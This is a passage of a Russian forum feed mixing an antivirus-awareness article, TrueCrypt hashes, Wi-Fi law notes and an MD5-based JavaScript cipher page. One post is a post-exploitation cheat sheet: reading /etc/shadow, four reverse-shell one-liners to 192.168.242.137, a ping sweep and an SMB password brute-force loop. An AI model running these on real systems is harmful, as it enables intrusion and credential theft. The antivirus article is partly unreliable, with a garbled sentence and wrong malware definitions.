обращение. Вы будете потом долго удивляться, куда деваются деньги с Вашего счета и как это Вы, гуляя с подругой, одновременно сидели в Интернете. Кроме того, такая программа может давать злоумышленнику полный доступ к Вашим программам и данным. Последнее, что я видел, была функция выдвижения лотка CD-ROMа. Причем на всех зараженных компьютерах одновременно.</p> <p>Методы борьбы с вирусами и троянцами описаны во многих местах. К сожалению, единственный действенный метод – не включать компьютер вовсе. Можно еще посоветовать ничего не устанавливать и ничего не запускать. Только тогда какой смысл иметь компьютер?</p> <p>Поэтому широко процветают Антивирусы – программы, призванные обнаруживать и удалять все пакости с Вашего компьютера. Наиболее представительными, на мой взгляд, являются DrWeb (wwwdials.ru), Antiviral Tolkit Pro (AVP) (wwwavp.ru), ADInf (wwwdials.ru, wwwadinf.com). Первые две программы постоянно получают всяческие международные сертификаты и вообще считаются одними из лучших. Кроме того, на указанных выше сайтах Вы можете найти множество информации о вирусах. А главное – обновления антивирусных баз. В революционном деле борьбы с вирусами главное – иметь свежий антивирус. Вот, например, недавно я умудрился заполучить троянца. Антивирус его сперва не нашел. А когда я его обновил, то есть скачал в Интернете набор свежих антивирусных баз с последними дополнениями, то троянец был немедленно обнаружен и стерт.</p> <p>Также важно все-таки не запускать неизвестно что. Хотя, лично мне трудно соблюдать этот свой совет. Из-за неуемного любопытства я постоянно что-то скачиваю в Интернете и запускаю. Или приношу домой разные диски и запускаю программы оттуда. Из-за этого на работе на меня косятся с подозрением и постоянно подозревают, что именно я &quot;уронил&quot; систему, принес вирус и тому подобное. Если Вы тоже хотите активно работать, то по крайней мере, установите антивирусный монитор (который отличается от антивирусного сканера). Когда Вы запускаете тот же DrWeb на проверку дисков – это антивирусный сканер. А в комплекте с ним идет некий Spider – вот это антивирусный монитор. (Так же и с AVP. С ним в комплекте поставляется AVP monitor). Антивирусный монитор загружается вместе с Вашей операционной системой и постоянно проверяет все запускаемые Вами файлы и файлы, сохраняемые на диск. Если он вдруг видит вирус, он Вам об этом громко скажет. А потом вылечит. Или не вылечит, а просто сотрет. Это зависит от особенностей вируса и возможностей антивируса. А еще от того, как Вы его настроите (прочтите инструкцию!). Таким образом один раз я не стал скачивать зараженную программу из Интернета. А на работе мы отловили злостного рассадника вируса – секретаршу, которая всем приносила дискету с просьбой распечатать документ и жалобами на то, что ни у нее, ни у тех, к кому она ходила текст не печатается. После захода в наш отдел, был проведен экстренный месячник борьбы с вирусами. Все проверенные компьютеры были заражены. Причем все документы Word содержали код вируса. К счастью, конкретно этот вирус лечился.</p> <p>Понятно, что тотальная проверка файлов несколько замедляет работу, но, поверьте мне, дело того стоит.</p> <p>Могу еще порекомендовать Stop! (wwwdizet.com.ua). Этот продукт специально предназначен для борьбы с троянскими программами и недавно нашел у меня застарелый троянец, который прятался в генераторе www страниц. (правда, я им так и не пользовался).</p> <p>Однако, при борьбе с вирусами не стоит впадать в дикую крайность и стирать все подряд. Я пробовал, результат &quot;упавшая&quot; система и никакого эффекта. На этом построено действие &quot;психологических&quot; вирусов, рассчитанных именно на то, что Вы своими руками порушите систему. Если Вам придет письмо с сообщением о том, что по Сети бродит страшный вирус и с предложением срочно скачать специальный антивирус, очень высока вероятность, что именно этот &quot;антивирус&quot; и есть троянец или злобный вирус.</p> <p><span style="font-size: 20px">Что такое компьютерный вирус?</span></p> <p>Компьютерный вирус – программа, способная к самовоспроизводству и самораспространению. Как правило, вирус небольшого размера (так легче маскироваться в системе). Раньше вирусы попадали в компьютер через зараженные дискеты, сегодня наиболее популярные пути доставки – это электронная почта, Интернет и локальные сети. Диапазон «применения» вирусов очень широк: от нехитрых шуток, таких как переворот экрана на 180 градусов, до опасных действий, приводящих к уничтожению данных иди нарушению функционирования системы. В большинстве случаев вирусы обычно стремятся попасть в оперативную память, и уже из этого удобного «командного пункта» перехватывают управление другими запущенными приложениями или модулями операционной системы, препятствуя их нормальной работе. Особо агрессивные экземпляры приступают к методичному уничтожению отдельных файлов или даже целиком всей информации, записанной на жестком диске.</p> <p><span style="font-size: 20px">Откуда берутся вирусы?</span></p> <p>Программисты-вирусописатели создают и распространяют свои творения по самым разным причинам. Одни хотят таким необычным способом подшутить над своими друзьями. Другие пишут вирусы по заданию преподавателя (в рамках курса обучения языку программирования) – и в результате оказывается зараженной вся институтская локальная сеть, а зачастую вирусы вырываются в «большой» Интернет. Непризнанные гении создания кода стремятся показать свои таланты всему миру. Однако в последнее время вирусописание превратилось в бизнес: самые опасные вирусы создаются киберпреступниками с целью зарабатывания денег. Особой любовью профессиональных мошенников пользуются трояны (см. врезку на стр. ???), которые, попав в систему, шпионят за компьютером ничего не подозревающего пользователя, передавая собранные данные о паролях или ПИН-кодах своим хозяевам, либо выполняют другие вредоносные действия.</p> <p><span style="font-size: 20px">Как вирусы попадают в компьютер?</span></p> <p>Чтобы вирус начал свою разрушительную деятельность, он должен сначала попасть в ваш компьютер. Для этого существует несколько путей:</p> <p>- через зараженный носитель информации, например USB-флэшку или оптический диск;</p> <p>- через другой компьютер в локальной сети;</p> <p>- через электронную почту. Большинство вредителей прячутся в файлах, прикрепленных к письму, и активируются в тот момент, когда любопытный пользователь открывает это вложение. Поскольку общение через e-mail очень популярно, этот метод распространения вредителей наиболее эффективен;</p> <p>- через Интернет – особенно опасны трояны, которые прячутся в бесплатном софте. Пользователь, позарившийся на «халяву», получает в придачу вредителя. Иногда для заражения ПК достаточно просто открыть веб-страницу. Вирусы «попутной загрузки» (по англ. Drive-by-Downloads) используют для этого уязвимые места веб-браузеров – например, маскируются под рисунок, и как только вы открываете его для просмотра, браузер выполняет вредоносный код и – вирус уже поражает вашу систему.</p> <p><span style="font-size: 20px">Как понять, что ПК заражен вирусом?</span></p> <p>Есть ряд симптомов, типичных для заражения компьютера той или иной вирусной «инфекцией». Обращайте внимание на непривычное поведение вашего ПК:</p> <p>- на экране неожиданно появляются странные сообщения или картинки;</p> <p>- ПК вдруг начинает издавать посторонние звуки или проигрывать музыку в том момент, когда медиапроигрыватель отключен;</p> <p>- дисковод для чтения оптических дисков начинает открываться-закрываться;</p> <p>- самопроизвольно запускаются программы;</p> <p>- операционная система не загружается;</p> <p>- целиком исчезают файлы и папки;</p> <p>- содержание файлов и папок изменяется;</p> <p>- выполняется более частое, чем обычно, обращение к жесткому диску – индикатор записи/чтения данных мигает без остановки;</p> <p>- браузер не загружает веб-страницы, а в некоторых случаях не удается закрыть окно программы;</p> <p>- друзья и знакомые получают от вас сообщения, которые вы не посылали – типичное поведения почтового червя, выполняющего несанкционированную рассылку самого себя по всем адресам, обнаруженным им в адресной книге.</p> <p>Внимание: будьте осторожны с сообщениями, не имеющим адреса отправителя или даты отправления/получения. Ни в коем случае не открывайте файлы, вложенные в подобные письма!</p> <p><span style="font-size: 20px">Мой компьютер заражен! Что делать?</span></p> <p>Если вы заметили, что компьютер ведет себя подозрительно, выполните следующие шаги:</p> <p>Отключите ПК от Интернета и локальной сети, чтобы вредоносная программа не могла распространяться дальше.</p> <p>Сохраните важные документы на внешнем накопителе (винчестере, оптическом или флэш-диске) и пометьте его как еле или компакт-диске и пометьте носитель информации как зараженный.</p> <p>Запустите антивирусную программу, чтобы она проверила жесткий диски вашего компьютера, обнаружила и уничтожила вредителей.</p> <p>После прохождения «курса лечения» просканируйте носитель, созданный в шаге 2, чтобы не занести вирус в систему повторно. Если избавиться от вируса не удалось, перешлите зараженный файл разработчикам антивируса. Как правило, создание «противоядия» занимает несколько часов.</p> <p><span style="font-size: 20px">Как защититься от вирусной «инфекции»?</span></p> <p>С помощью антивирусной программы! Это программное обеспечение не только находит и удаляет вирусы, но и препятствует их проникновению на ПК. Если антивирусное ПО не установлено, пользователь может обратить внимание на деятельность вирусов слишком поздно, когда они натворят порядочно бед в системе.</p> <p>Если на компьютере установлено антивирусное программное обеспечение, оно запускается вместе с операционной системой и функционирует в фоновом режиме во время всего сеанса работы пользователя. Рекомендация: пользователь должен через определенные промежутки времени полностью проверять жесткие диски своего ПК с помощью антивирусного сканера (этот модуль есть во всех антивирусных программах). Кроме того, необходимо настроить «защитника» так, чтобы он выполнял проверку всех вложений в сообщениях, которые приходят по электронной почте.</p> <p><span style="font-size: 20px">Как функционируют антивирусные программы?</span></p> <p>Как антивирусные программы распознают вирусы?</p> <p>Для этого используются три методики:</p> <p>Выявление по сигнатуре вируса. Все вирусы имеют свой оригинальный программный код, с помощью которого их можно идентифицировать – как, например, людей по отпечаткам пальцев или по генетическому коду. Антивирусная программа сравнивает подозрительные файлы с сигнатурами известных вирусов, которые она берет из постоянно обновляемой базы данных. Этот классический метод распознавания вредоносных объектов используют практически все антивирусные программы. Недостаток данной методики заключается в том, что она позволяет обнаружить только известные вирусы. Здесь можно провести аналогию с прививкой от гриппа: в новом сезоне она теряет свою эффективность, потому что появляются новые штаммы вируса.</p> <p>Разработчики антивирусных программ должны как можно быстрее добавлять в базы новые сигнатуры появляющихся каждый день вирусов и вырабатывать «противоядие». Не все компании справляются с этим в равной мере успешно: так, победителю теста ComputerBild №10/2007 потребовалось на обезвреживание нового вируса менее одного часа, а самой «медленной» антивирусной программе – более двенадцати часов.</p> <p>Эвристический метод позволяет современным антивирусным программам распознавать вредителей, не зная их сигнатуры. Такой метод позволяет обнаруживать новые вирусы на основании их поведения – причем еще до того, как они нанесут вред компьютеру. Программа, выполняющая характерные для вируса подозрительные действия, проверяется, среди прочего, на структуру и логику программирования. Особое внимание уделяется командам, которые она отдает компьютеру: например, изменить другие программные файлы, создать или откорректировать записи в системном реестре, модифицировать или удалить системные файлы.</p> <p>Антивирусная программа помещает «подозрительные» программы в безопасную область – в так называемый «карантин». Даже если вредитель активизируется, выйти за пределы карантина он не сможет, и все данные на компьютере останутся в целости и сохранности. Вирус будет находиться в «тюрьме» до тех пор, пока антивирусная программа не дождется поступления новых сигнатур и не сможет приступить к лечению изолированных объектов.</p> <p><span style="font-size: 20px">Что еще нужно сделать для защиты от вирусов?</span></p> <p>Антивирусная программа не гарантирует абсолютной защиты, поэтому следует предпринять дополнительные меры безопасности:</p> <p>Установите сетевой экран (брандмауэр). Эта программа наблюдает за поступающими из Интернета и отправляемыми в него данными. В белом списке содержится перечень программ, которым доступ в Сеть разрешен. Если какое-либо приложение, не внесенное в этот список, попытается тайно установить соединение с Сетью, брандмауэр забьет тревогу. Доступ к Интернету на вашем ПК осуществляется через маршрутизатор? Это неплохо, поскольку подобные устройства оснащены аппаратными брандмауэрами, контролирующими поток поступающих из Сети данных. Однако оптимально для повышения безопасности установить программный брандмауэр.</p> <p>Установите программу, специализирующуюся на поиске шпионов. Этот компонент входит в состав многих профессиональных решений для защиты от интернет-угроз. Так, например, в пакете Kaspersky Internet Security SuiteV содержатся модули «Сетевой экран» и «Антишпион».</p> <p>Установите программу для обнаружения руткитов. Об этих вредоносных приложениях мы подробно писали в ComputerBild № 03/2008, но напомним, что обычный антивирус с их обнаружением не справляется – требуется специальный софт. Проведенное нами тестирование показало, что лучшими борцами с руткитами являются программы GMER и AVG Anti-Rootkit.</p> <p>Следите за тем, чтобы базы антивирусных программ всегда были в актуальном состоянии. Операционная система Windows, веб-браузеры и прикладные программы должны регулярно обновляться с целью ликвидации лазеек, через которые может проникнуть вредоносное ПО. Самый лучший способ – использование функции автоматического обновления, которой оснащены практически все современные программы – ее обязательно следует активировать! В Windows этот компонент так и называется – «Автоматическое обновление» (запускается из Панели управления).</p> <p>Создайте для интернет-серфинга виртуальную машину – компьютер в компьютере. Воспользуйтесь для этого бесплатной программой Virtual PC. Однако такую защиту тоже нельзя считать абсолютно надежной: существуют вредоносные программы, которые наловчились распознавать и выключать виртуальные ПК.</p> <p>Можно ли установить на один ПК несколько антивирусных программ?</p> <p>Нет! Ни в коем случае не инсталлируйте больше одной антивирусной программы. Если запустить их одновременно, они будут мешать работе друг друга, лишая ПК всякой защиты. Возможно ложное срабатывание, когда одна антивирусная программа проверяет список сигнатур другой программы и находит там вирусы.</p> <p><span style="font-size: 20px">Какие бывают вирусы?</span></p> <p>1 Backdoor (по англ. – «черный ход») – эта вредоносная программа обходит систему защиты ПК, используя уязвимости в коде программ, установленных в вашей системе. Получив контроль над компьютером, агрессор инсталлирует вредоносные программы или совершает другие действия, для выполнения которых он изначально создавался.</p> <p>2 Бот-неты – эти вирусы изменяют содержимое загрузочного сектора жесткого диска, чтобы помешать запуску операционной системы.</p> <p>3 Номеронабиратели – они умеют самостоятельно дозваниваться по заданным разработчиком вируса телефонным номерам, незаметно для пользователи «накручивая» плату за международные или междугородние переговоры. Впрочем, этот вид вредоносного ПО работает, только если ваш компьютер подключается к Сети через телефонный модем, что сейчас становится редкостью.</p> <p>4 Фишинг – это мошеннические сообщения, распространяемые через электронную почту, цель которых – вымогание денег («помогите собрать деньги на операцию больному ребенку») либо распространение клеветы.</p> <p>5 Кейлогеры – это перехватчики произведенных пользователем нажатий клавиш на клавиатуре. Собранная информация – пароли или ПИН-коды для выполнения онлайновых банковских операций – пересылается владельцу вируса.</p> <p>6 Макровирусы – представляют собой выполняющие запрограммированную последовательность действий макросы, которые встраиваются в документы – например, Microsoft Office. Макрос, автоматически вставляющий адреса в список рассылки, можно модифицировать таким образом, чтобы он стирал или изменял текст рассылаемого сообщения.</p> <p>7 Полиморфные вирусы умеют самостоятельно изменять собственный программный код, маскируясь от обнаружения антивирусными программами.</p> <p>8 Руткиты проникнув на ваш ПК, они тщательно скрывают следы своего присутствия, открывая лазейки для проникновения других вредоносных программ. Они настолько сильны, что в состоянии захватить управление всей операционной системой.</p> <p>9 Червь – тип вредоносного ПО, способный самостоятельно распространяется по компьютерным сетям, прикрепляясь к сообщениям электронной почты.</p> <p>10 Шпион, попав на ПК, отыскивает личные данные пользователя, например историю посещения веб-страниц, и отсылает их своему хозяину.</p> <p>11 Adware – вид программного обеспечения, при использовании которого пользователю принудительно показывается реклама. Вирусом не является, так как вреда компьютеру причинить не может.</p> <p>12 Трояны – эти программы стремятся убедить пользователя в том, что выполняют очень полезные и нужные функции – но на самом деле у них совершенно другие задачи. Троянские программы загружают на ПК вредоносный софт или шпионят за действиями пользователя. Трояны не могут самостоятельно распространяться, в этом их отличие от вирусов и червей.</p> mybb@mybb.ru (counter) Thu, 27 Nov 2014 07:16:18 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=108#p108 http://expertiza.mybb.ru/viewtopic.php?pid=106#p106 <p>Из твиттера Matthew Green (один из аудиторов TrueCrypt):</p> <p>&#160; &#160; @SteveBellovin @mattblaze @0xdaeda1a I think this is legit.</p> <p>TrueCrypt Setup 7.1a.exe:</p> <p>&#160; &#160; sha1: 7689d038c76bd1df695d295c026961e50e4a62ea<br />&#160; &#160; md5: 7a23ac83a0856c352025a6f7c9cc1526</p> <p>TrueCrypt 7.1a Mac OS X.dmg:</p> <p>&#160; &#160; sha1: 16e6d7675d63fba9bb75a9983397e3fb610459a1<br />&#160; &#160; md5: 89affdc42966ae5739f673ba5fb4b7c5</p> <p>truecrypt-7.1a-linux-x86.tar.gz:</p> <p>&#160; &#160; sha1: 0e77b220dbbc6f14101f3f913966f2c818b0f588<br />&#160; &#160; md5: 09355fb2e43cf51697a15421816899be</p> <p>truecrypt-7.1a-linux-x64.tar.gz:</p> <p>&#160; &#160; sha1: 086cf24fad36c2c99a6ac32774833c74091acc4d<br />&#160; &#160; md5: bb355096348383987447151eecd6dc0e</p> mybb@mybb.ru (Владимир Ильич) Thu, 04 Sep 2014 21:05:48 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=106#p106 http://expertiza.mybb.ru/viewtopic.php?pid=104#p104 <p><a href="https://www.google.ru/search?q=%D0%AE%D1%80%D0%B8%D0%B4%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9%20%D1%81%D1%82%D0%B0%D1%82%D1%83%D1%81%20Wi-Fi%20%D1%80%D0%B0%D0%B7%D0%BB%D0%B8%D1%87%D0%B5%D0%BD%20%D0%B2%20%D1%80%D0%B0%D0%B7%D0%BD%D1%8B%D1%85%20%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B0%D1%85" rel="nofollow" target="_blank">Юридический статус Wi-Fi различен в разных странах</a></p><div class="quote-box quote-main"><blockquote><p>Россия</p> <p>Разрешение на использование частот</p> <p>В России, в соответствии с решениями Государственной комиссии по радиочастотам (ГКРЧ) от 7 мая 2007 г. № 07-20-03-001 «О выделении полос радиочастот устройствам малого радиуса действия» и от 20 декабря 2011 г. № 11-13-07-1, использование Wi-Fi без получения частного разрешения на использование частот возможно для организации сети внутри зданий, закрытых складских помещений и производственных территорий в полосах 2400—2483,5 МГц (стандарты 802.11b и 802.11g; каналы 1—13) и 5150-5350 МГц (802.11a и 802.11n; каналы 34-64). Для легального использования внеофисной беспроводной сети Wi-Fi (например, радиоканала между двумя соседними домами) необходимо получение разрешения на использование частот (как в полосе 2,4 ГГц, так и 5 ГГц) на основании заключения экспертизы о возможности использования заявленных РЭС и их электромагнитной совместимости (ЭМС) с действующими и планируемыми для использования РЭС.<br />Регистрация оборудования</p> <p>Радиоэлектронные средства подлежат регистрации в Роскомнадзоре в соответствии с установленным порядком . <strong>В соответствии c Постановлением Правительства Российской Федерации от 13 октября 2011 г. № 837 «О внесении изменений в Постановление Правительства Российской Федерации от 12 октября 2004 г. № 539» <span style="color: blue">не подлежат регистрации</span>, в частности, (из п. 13, 23, 24 приложения):</p> <p>&#160; &#160; Пользовательское (оконечное) оборудование передающее, включающее в себя приемное устройство, малого радиуса действия стандартов IEEE 802.11, IEEE 802.11.b, IEEE 802.11.g, IEEE 802.11.n (Wi-Fi), работающее в полосе радиочастот 2400—2483,5 МГц, с допустимой мощностью излучения передатчика не более 100 мВт, в том числе встроенное либо входящее в состав других устройств;<br />&#160; &#160; Пользовательское (оконечное) оборудование передающее, включающее в себя приемное устройство, малого радиуса действия стандартов IEEE 802.11а, IEEE 802.11.n (Wi-Fi), работающее в полосах радиочастот 5150 — 5350 МГц и 5650 — 6425 МГц, с допустимой мощностью излучения передатчика не более 100 мВт, в том числе встроенное либо входящее в состав других устройств;<br />&#160; &#160; Устройства малого радиуса действия, используемые внутри закрытых помещений, в полосе радиочастот 5150 — 5250 МГц с максимальной эквивалентной изотропно излучаемой мощностью передатчика не более 200 мВт;<br />&#160; &#160; Устройства малого радиуса действия в сетях беспроводной передачи данных внутри закрытых помещений в полосе радиочастот 2400—2483,5 МГц с максимальной эквивалентной изотропно излучаемой мощностью передатчика не более 100 мВт при использовании псевдослучайной перестройки рабочей частоты.</strong></p> <p>Ответственность</p> <p>За нарушение порядка использования радиоэлектронных средств предусматривается ответственность по статьям 13.3 и 13.4 Кодекса Российской Федерации об административных правонарушениях (КоАП РФ). Так, в июле 2006 года несколько компаний в Ростове-на-Дону были оштрафованы за эксплуатацию открытых сетей Wi-Fi (хот-спотов). Федеральная служба по надзору в сфере массовых коммуникаций, связи и охраны культурного наследия издало новое разъяснение использования и регистрации всех устройств, использующих Wi-Fi. Позднее оказалось, что существует комментарий Россвязьохранкультуры, который частично опровергает недоразумения, развитые сетевыми СМИ.</p></blockquote></div> mybb@mybb.ru (Владимир Ильич) Sun, 20 Jul 2014 08:43:54 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=104#p104 http://expertiza.mybb.ru/viewtopic.php?pid=103#p103 <p><span style="font-size: 20px">Исследование системы после проникновения (постэксплуатация)</span></p> <p>Разведка --&gt; Сканирование --&gt; Эксплуатация --&gt; Постэксплуатация</p> <p><span style="font-size: 20px">Постэксплуатация на примере debian и centos</span></p> <p>Команды для debian</p> <p>cat /etc/issue какой дистрибутив используется<br />cat /etc/*release<br />lsb_release -A<br />cat /proc/version информация по ядру<br />uname -A выведет всё что может<br />dmesg|grep Linux&#160; грепаем информацию из загрузки системы<br />ls /boot/ | grep vmlinuz-<br />env&#160; &#160;посмотреть все переменные окружения для текущего пользователя<br />lpstat -a&#160; &#160;принтеры подключенные<br />ps aux&#160; &#160;выведет все запущенные процессы<br />ps -ef&#160; аналогичный вывод с некоторыми отличиями<br />top&#160; &#160;мониторинг процессов<br />htop&#160; &#160;продвинутый вариант top<br />ps aux | grep root процессы запущенные от рута<br />dpkg -l&#160; &#160;установленные пакеты<br />grep -i pass /var/www/joomla/configuration.php&#160; &#160; Параметр -i поиск без учёта регистра<br />hostname&#160; покажет домен<br />hostname -f&#160; &#160;покажет поддомен<br />ip addr show<br />ip ro show&#160; показать табл маршрутизации<br />ifconfig -a&#160; &#160;показать ВСЕ сетевые интерфейсы, даже выключенные<br />route -n&#160; &#160; показать табл маршрутизации<br />netstat -antup&#160; &#160; <br />netstat -lntup&#160; &#160; все процессы, слушающие сеть. лишние не выводит<br />chkconfig --list список всех служб<br />cat /etc/resolv.conf&#160; &#160; список ДНС-серверов<br />hostname&#160; &#160; &#160; &#160; первая часть доменного имени<br />dnsdomainname&#160; &#160; вторая часть доменного имени<br />cat /etc/passwd<br />cat /etc/shadow&#160; &#160; hex паролей<br />find / -perm -u=s -type f 2&gt;/dev/null&#160; &#160; &#160;ищем программы с суид-битом (s-бит)<br />find / -perm -o+w -type d 2&gt;/dev/null&#160; &#160; &#160;ищем каталоги расшаренные для записи</p> <p>Команды для centos</p> <p>cat /etc/redhat_release&#160; версия ос<br />rpm -q kernel&#160; информация о ядре<br />rpm -qa установленные пакеты<br /></p> <p>Прослушивание сетевого интерфейса (сниффинг)</p> <p>См. информацию по использованию утилиты tcpdump<br /><br /></p> <p>Бекдоры, реверс shell. Проброс терминалов</p> <p>nc (netcat)</p> <p>1 вариант<br />nc 192.168.242.137 8080 -e /bin/bash&#160; &#160; &#160; &#160; &#160; &#160;проброс терминала<br />парамет -e выполнение команд есть не во всех версиях nc</p> <p>nc -nvv -l 8080&#160; &#160;прослушивание</p> <p>2 вариант<br />mknod backpipe p<br />nc 192.168.242.137 8080 &lt;backpipe<br />/bin/bash 1&gt;backpipe</p> <p>3 вариант<br />/bin/bash -i &gt;/dev/tcp/192.168.242.137/8080 0&lt;&amp;1 2&gt;&amp;1<br />Здесь 0-stdin, 1-stdout</p> <p>4 вариант<br />mknod backpipe p &amp;&amp; telnet 192.168.242.137 8080 0&lt;backpipe |/bin/bash</p> <p>См. также wget, curl</p> <p><span style="font-size: 20px">Исследование Windows</span></p> <p>whoami<br />ver<br />systeminfo<br />set<br />hastname<br />ipconfig<br />netstat -an<br />netstat -an|findstr 192<br />netstat -nabo<br />netstat -r<br />route print<br />net start<br />netsh&#160; &#160; диалог для настройки сетевых параметров<br />wmic bios<br />wmic os<br />tasklist<br />taskkill</p> <p>Пропинговка локальной сети<br />for /L %i in (1,1,254) do @ping -n1 192.168.242.%i | find &quot;TTL&quot;</p> <p>Брутфорсник<br />for /P %i in (password.txt) do @echo %i &amp; net use \\192.168.242.10 %i /u:USERNAME 2&gt;null &amp;&amp; pause</p> mybb@mybb.ru (Владимир Ильич) Fri, 27 Jun 2014 10:05:19 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=103#p103 http://expertiza.mybb.ru/viewtopic.php?pid=102#p102 <p><span style="font-size: 20px">Код системы Yozhix-6969</span></p><div class="code-box"><strong class="legend">Код:</strong><div class="blockcode"><div class="scrollbox" style="height: 35em"><pre>&lt;table style=&quot;width:100%;height:100%&quot;&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;table style=&quot;width:100%&quot;&gt; &lt;tr&gt; &lt;td&gt;&lt;input type=&quot;button&quot; value=&quot;Зашифровать&quot; title=&quot;Зашифровать исходный текст&quot; onClick=&quot;perePro1()&quot;&gt;&lt;/td&gt; &lt;td style=&quot;width:25%;text-align:center&quot;&gt;Исходный текст&lt;/td&gt; &lt;td style=&quot;width:50%;text-align:center&quot;&gt; &lt;nobr&gt;Ключ &lt;input id=&quot;key&quot; type=&quot;password&quot; size=&quot;13&quot; title=&quot;Ключ шифрования (пароль, секретное слово)&quot;&gt;&lt;/nobr&gt; &lt;nobr&gt;повтор &lt;input id=&quot;key2&quot; type=&quot;password&quot; size=&quot;13&quot; title=&quot;Повтор ключа для избежания случайных ошибок&quot;&gt;&lt;/nobr&gt; &lt;/td&gt; &lt;td style=&quot;width:25%;text-align:center&quot;&gt;Зашифрованный текст&lt;/td&gt; &lt;td&gt;&lt;input type=&quot;button&quot; value=&quot;Расшифровать&quot; title=&quot;Расшифровать зашифрованный текст&quot; onClick=&quot;perePro2()&quot;&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr style=&quot;height:100%&quot;&gt; &lt;td style=&quot;width:50%&quot;&gt; &lt;textarea id=&quot;text1&quot; style=&quot;width:100%;height:100%;resize:none&quot; title=&quot;Исходный текст&quot;&gt; Мы любим всё — и жар холодных числ, И дар божественных видений Нам внятно всё — и острый галльский смысл, И сумрачный германский гений… («Скифы» А. Блок) &lt;/textarea&gt; &lt;/td&gt; &lt;td&gt; &lt;textarea id=&quot;text2&quot; style=&quot;width:100%;height:100%;resize:none&quot; title=&quot;Зашифрованный текст&quot;&gt; &lt;/textarea&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;div id=&quot;panel&quot; style=&quot;position:absolute;width:369px;left:3px;top:69px; background-color:#ccc;border-style:solid;border-width:1;border-color:#000; padding:3px&quot; onMouseOver=&quot;openPanel()&quot; onMouseOut=&quot;closePanel()&quot;&gt; Разбить зашифрованный текст на строки&lt;br&gt; &lt;input type=&quot;button&quot; value=&quot;по 32 симв.&quot; onClick=&quot;razbivka(32)&quot;&gt; &lt;input type=&quot;button&quot; value=&quot;по 64 симв.&quot; onClick=&quot;razbivka(64)&quot;&gt; &lt;input type=&quot;button&quot; value=&quot;по 128 симв.&quot; onClick=&quot;razbivka(128)&quot;&gt; &lt;br&gt; &lt;input type=&quot;button&quot; value=&quot;Произвольное разбиение&quot; onClick=&quot;razbivka(document.getElementById('dlstr').value)&quot;&gt; по &lt;input id=&quot;dlstr&quot; type=&quot;text&quot; size=&quot;4&quot; value=&quot;256&quot;&gt; симв. &lt;br&gt; &lt;input type=&quot;button&quot; value=&quot;Без разбиения&quot; onClick=&quot;razbivka(0)&quot;&gt; &lt;br&gt;&lt;br&gt; &lt;input type=&quot;button&quot; value=&quot;ОЧИСТИТЬ ВСЕ ПОЛЯ&quot; onClick=&quot;cleaner()&quot; style=&quot;width:100%;height:69px&quot;&gt; &lt;/div&gt; &lt;table id=&quot;NoJS&quot; style=&quot;position:absolute;left:0;top:0;width:100%;height:100%&quot;&gt;&lt;tr&gt; &lt;td style=&quot;background-color:#aaa;text-align:center&quot;&gt; Ваш браузер не поддерживает Javascript, либо эта функция отключена. Без нее работа программы невозможна. Обновите браузер или включите Javascript в его настройках. В случае затруднений обратитесь к опытному пользователю за помощью. &lt;/td&gt; &lt;/tr&gt;&lt;/table&gt; &lt;/div&gt; &lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt; /* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Digest Algorithm, as defined in RFC 1321. * Copyright (C) Paul Johnston 1999 - 2000. * Updated by Greg Holt 2000 - 2001. * See http://pajhome.org.uk/site/legal.html for details. */ /* * Convert a 32-bit number to a hex string with ls-byte first */ var hex_chr = &quot;0123456789abcdef&quot;; function rhex(num) { str = &quot;&quot;; for(j = 0; j &lt;= 3; j++) str += hex_chr.charAt((num &gt;&gt; (j * 8 + 4)) &amp; 0x0F) + hex_chr.charAt((num &gt;&gt; (j * 8)) &amp; 0x0F); return str; } /* * Convert a string to a sequence of 16-word blocks, stored as an array. * Append padding bits and the length, as described in the MD5 standard. */ function str2blks_MD5(str) { nblk = ((str.length + 8) &gt;&gt; 6) + 1; blks = new Array(nblk * 16); for(i = 0; i &lt; nblk * 16; i++) blks[i] = 0; for(i = 0; i &lt; str.length; i++) blks[i &gt;&gt; 2] |= str.charCodeAt(i) &lt;&lt; ((i % 4) * 8); blks[i &gt;&gt; 2] |= 0x80 &lt;&lt; ((i % 4) * 8); blks[nblk * 16 - 2] = str.length * 8; return blks; } /* * Add integers, wrapping at 2^32. This uses 16-bit operations internally * to work around bugs in some JS interpreters. */ function add(x, y) { var lsw = (x &amp; 0xFFFF) + (y &amp; 0xFFFF); var msw = (x &gt;&gt; 16) + (y &gt;&gt; 16) + (lsw &gt;&gt; 16); return (msw &lt;&lt; 16) | (lsw &amp; 0xFFFF); } /* * Bitwise rotate a 32-bit number to the left */ function rol(num, cnt) { return (num &lt;&lt; cnt) | (num &gt;&gt;&gt; (32 - cnt)); } /* * These functions implement the basic operation for each round of the * algorithm. */ function cmn(q, a, b, x, s, t) { return add(rol(add(add(a, q), add(x, t)), s), b); } function ff(a, b, c, d, x, s, t) { return cmn((b &amp; c) | ((~b) &amp; d), a, b, x, s, t); } function gg(a, b, c, d, x, s, t) { return cmn((b &amp; d) | (c &amp; (~d)), a, b, x, s, t); } function hh(a, b, c, d, x, s, t) { return cmn(b ^ c ^ d, a, b, x, s, t); } function ii(a, b, c, d, x, s, t) { return cmn(c ^ (b | (~d)), a, b, x, s, t); } /* * Take a string and return the hex representation of its MD5. */ function calcMD5(str) { x = str2blks_MD5(str); a = 1732584193; b = -271733879; c = -1732584194; d = 271733878; for(i = 0; i &lt; x.length; i += 16) { olda = a; oldb = b; oldc = c; oldd = d; a = ff(a, b, c, d, x[i+ 0], 7 , -680876936); d = ff(d, a, b, c, x[i+ 1], 12, -389564586); c = ff(c, d, a, b, x[i+ 2], 17, 606105819); b = ff(b, c, d, a, x[i+ 3], 22, -1044525330); a = ff(a, b, c, d, x[i+ 4], 7 , -176418897); d = ff(d, a, b, c, x[i+ 5], 12, 1200080426); c = ff(c, d, a, b, x[i+ 6], 17, -1473231341); b = ff(b, c, d, a, x[i+ 7], 22, -45705983); a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416); d = 